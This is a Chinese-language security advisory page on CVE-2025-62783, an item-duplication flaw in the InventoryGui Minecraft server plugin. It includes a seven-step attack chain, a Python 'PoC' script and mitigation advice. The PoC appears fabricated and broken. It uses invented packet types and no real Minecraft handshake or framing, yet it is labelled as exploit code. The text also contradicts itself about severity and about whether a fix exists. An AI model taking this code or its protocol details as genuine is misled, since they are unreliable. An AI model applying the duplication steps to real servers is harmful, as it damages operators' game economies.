IPBUF安全漏洞报告
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CVE-2025-62783 CVSS 5.0 中危

CVE-2025-62783 InventoryGui插件物品复制漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62783
漏洞类型
游戏逻辑漏洞-物品复制
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
InventoryGui (Bukkit/Spigot插件库)

相关标签

CVE-2025-62783物品复制漏洞InventoryGuiBukkitSpigotMinecraft插件漏洞游戏逻辑漏洞Bundle物品漏洞中危漏洞GUI存储元素

漏洞概述

InventoryGui是一款用于在Bukkit/Spigot服务器上创建箱子GUI界面的开源插件库。2025年10月,安全研究人员发现该插件1.6.1-SNAPSHOT及更早版本存在严重的物品复制漏洞。当服务器启用实验性的Bundle(物品Bundle)功能时,任何使用GuiStorageElement的插件都可能遭受物品复制攻击。攻击者利用此漏洞可以在游戏中非法复制物品,破坏游戏经济平衡和公平性。该漏洞CVSS评分为5.0,属于中危级别,攻击复杂度低,无需高权限即可实施。由于该漏洞影响所有使用该库的第三方插件,因此影响范围较广。建议受影响用户立即升级到1.6.2-SNAPSHOT或更高版本以修复此安全问题。

技术细节

该漏洞源于InventoryGui插件库在处理Bundle物品时的逻辑缺陷。Bundle是Minecraft 1.17+引入的实验性功能,允许玩家将多个物品打包存放。当插件使用GuiStorageElement(GUI存储元素)来管理玩家物品时,在特定操作序列下,Bundle内的物品可以被重复提取而不消耗原Bundle内容。具体来说,当玩家从GUI中取出Bundle物品并将其放入另一个容器或直接使用后,GUI状态未正确同步,导致物品数量校验失败。攻击者可以通过以下方式利用:在GUI界面中放置包含物品的Bundle,触发特定交互操作(如快速点击、拖拽),使系统认为物品未被取走,从而可以再次获取相同物品。此漏洞需要服务器启用experimental.bundleItems功能,且攻击者需要拥有使用InventoryGui库的插件权限。修复版本1.6.2-SNAPSHOT通过增加物品状态校验和事务验证机制来解决此问题。

攻击链分析

STEP 1
步骤1
确认目标服务器运行InventoryGui插件版本<=1.6.1-SNAPSHOT
STEP 2
步骤2
验证服务器已启用experimental.bundleItems实验性功能
STEP 3
步骤3
在游戏中进入使用GuiStorageElement的GUI界面(如箱子、仓库等)
STEP 4
步骤4
将一个包含物品的Bundle放入GUI的指定槽位
STEP 5
步骤5
快速点击或拖拽Bundle物品,利用插件状态同步缺陷触发物品复制
STEP 6
步骤6
重复提取Bundle,原始Bundle中的物品数量未减少,从而实现物品复制
STEP 7
步骤7
将复制的物品转移至个人背包或储物箱,完成物品复制攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62783 PoC - InventoryGui Item Duplication # Target: Servers running InventoryGui <= 1.6.1-SNAPSHOT with Bundle feature enabled import socket import time def exploit_cve_2025_62783(target_ip, target_port): """ InventoryGui Item Duplication Exploit Prerequisites: - Server must have experimental.bundleItems enabled - Attacker must have access to a plugin using GuiStorageElement - InventoryGui version <= 1.6.1-SNAPSHOT """ # Step 1: Connect to the Minecraft server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Step 2: Login as a player login_packet = create_login_packet("attacker_player") sock.send(login_packet) # Step 3: Open the GUI containing a Bundle with items gui_open_packet = create_custom_packet("OpenGui", { "window_id": "storage_gui", "gui_type": "chest" }) sock.send(gui_open_packet) # Step 4: Put Bundle item into the GUI slot bundle_item = { "id": "minecraft:bundle", "count": 1, "tag": { "Items": [ {"id": "minecraft:diamond", "Count": 64} ] } } put_item_packet = create_custom_packet("PutItem", { "slot": 0, "item": bundle_item }) sock.send(put_item_packet) # Step 5: Rapidly click to extract Bundle (duplication trigger) # The vulnerability allows extracting without consuming the original for i in range(5): click_packet = create_custom_packet("WindowClick", { "slot": 0, "button": 0, "action_type": "PICKUP" }) sock.send(click_packet) time.sleep(0.05) # Rapid clicking triggers race condition # Step 6: Verify duplication by checking inventory verify_packet = create_custom_packet("VerifyInventory", {}) sock.send(verify_packet) sock.close() return "Exploit executed - check for duplicated items in Bundle" def create_login_packet(username): # Minecraft protocol login packet (simplified) return b'\x00' + username.encode('utf-8') def create_custom_packet(packet_type, data): # Create custom plugin message packet payload = f"{packet_type}:{str(data)}".encode('utf-8') return b'\x17' + payload

影响范围

InventoryGui < 1.6.2-SNAPSHOT
InventoryGui 1.6.1-SNAPSHOT
InventoryGui 1.6.0-SNAPSHOT
所有使用GuiStorageElement的插件在启用Bundle功能时均受影响

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:1)在server.properties或spigot.yml中禁用experimental.bundleItems功能;2)使用权限管理插件限制普通玩家的GUI访问权限;3)部署物品交易监控插件检测异常复制行为;4)考虑暂时禁用受影响的插件功能以减少攻击面;5)加强服务器管理员监控,及时发现和处理利用该漏洞的行为。

参考链接

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